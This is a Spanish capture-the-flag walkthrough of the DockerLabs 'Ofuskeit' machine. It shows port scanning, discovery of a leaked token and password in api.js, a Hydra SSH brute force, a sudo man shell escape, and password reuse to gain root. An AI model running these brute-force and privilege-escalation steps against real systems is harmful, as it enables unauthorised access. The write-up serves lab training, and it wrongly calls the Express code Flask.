Ofuskeit DockerLabs (Intermediate)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip ofuskeit.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh ofuskeit.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 04:52 EDT
Nmap scan report for thedog.dl (172.17.0.2)
Host is up (0.000049s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 f4:1e:4f:80:e4:25:19:87:a5:2b:e5:fe:b3:16:5d:70 (ECDSA)
|_  256 7d:5a:d8:80:54:05:d2:2f:6f:7f:59:26:4f:6f:83:a8 (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Servicios de Mantenimiento Inform\xC3\xA1tico
3000/tcp open  http    Node.js Express framework
|_http-title: Error
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.64 seconds

Veremos que hay un puerto 80 en el que parece alojar una pagina web y despies veremos un puerto 3000 que tiene un servidor js el cual parece bastante interesante, pero vamos a ver que contiene el puerto 80, si entramos veremos una pagina normal sobre mantenimiento informatico, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.

Escalate user admin

Gobuster

Ya que tiene un servidor JS vamos a probar a meter como extension .js para ver que nos puede encontrar.

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt,js -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt,js
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 2129]
/.html                (Status: 403) [Size: 275]
/api.js               (Status: 200) [Size: 494]
/javascript           (Status: 403) [Size: 275]
/script.js            (Status: 200) [Size: 1916]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

Veremos que nos encuentra un api.js el cual parece bastante interesante, vamos a ver que contiene.

const express = require('express');
const app = express();
const PORT = 3000;

const tokenValido = "EKL56L4K57657JÑ456J74K5Ñ6754";

app.use(express.json());

app.post('/api', (req, res) => {
  const { token } = req.body;

  if (token === tokenValido) {
    return res.send("✅ Acceso concedido. Contraseña chocolate123");
  } else {
    return res.status(401).send("❌ Token inválido.");
  }
});

app.listen(PORT, () => {
  console.log(`🚀 API activa en http://localhost:${PORT}`);
});

Veremos que es un endpoint que parece ser de Flask en el que tiene como parametro el /api para realizar la conexion y con una clave secreta llamada EKL56L4K57657JÑ456J74K5Ñ6754, tambien vemos que cuando funciona nos porporciona una contraseña llamada chocolate123, y la API esta activa en el puerto 3000 por lo que vemos.

Igualmente si nosotros lo hubieramos echo de esta forma:

curl -X POST http://<IP>:3000/api \
  -H 'Content-Type: application/json' \
  -d '{"token":"EKL56L4K57657JÑ456J74K5Ñ6754"}'

Info:

✅ Acceso concedido. Contraseña chocolate123

Ahora vamos a ver si con esa contraseña hay algun usuario en el sistema que contenga dicha contraseña, por lo que vamos a realizar un ataque de fuerza bruta de esta forma:

Hydra

hydra -L <WORDLIST> -p chocolate123 ssh://<IP> -t 64 -I

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-07 05:05:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 624370 login tries (l:624370/p:1), ~9756 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: admin   password: chocolate123
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

Veremos que ha funcionado y hemos encontrado las credenciales del usuario admin por lo que vamos a conectarnos por SSH.

SSH

ssh admin@<IP>

Metemos como contraseña chocolate123 y veremos que estamos dentro.

Escalate user balulito

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for admin on b510a27bba00:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User admin may run the following commands on b510a27bba00:
    (balulito) NOPASSWD: /usr/bin/man

Vemos que podemos ejecutar el binario man como el usuario balulito por lo que haremos lo siguiente:

sudo -u balulito man man
!/bin/bash

Info:

balulito@b510a27bba00:/home/admin$ whoami
balulito

Escalate Privileges

Vemos que con este usuario no podemos hacer practicamente nada, despues de buscar un rato largo, vamos a probar a reutilizar la contraseña de root con la que utilizamos para el usuario admin.

su root

Metemos como contraseña chocolate123 y veremos que estaremos dentro.

Info:

root@b510a27bba00:/home/admin# whoami
root

Veremos que ya seremos el usuario root por lo que habremos terminado la maquina.

Last updated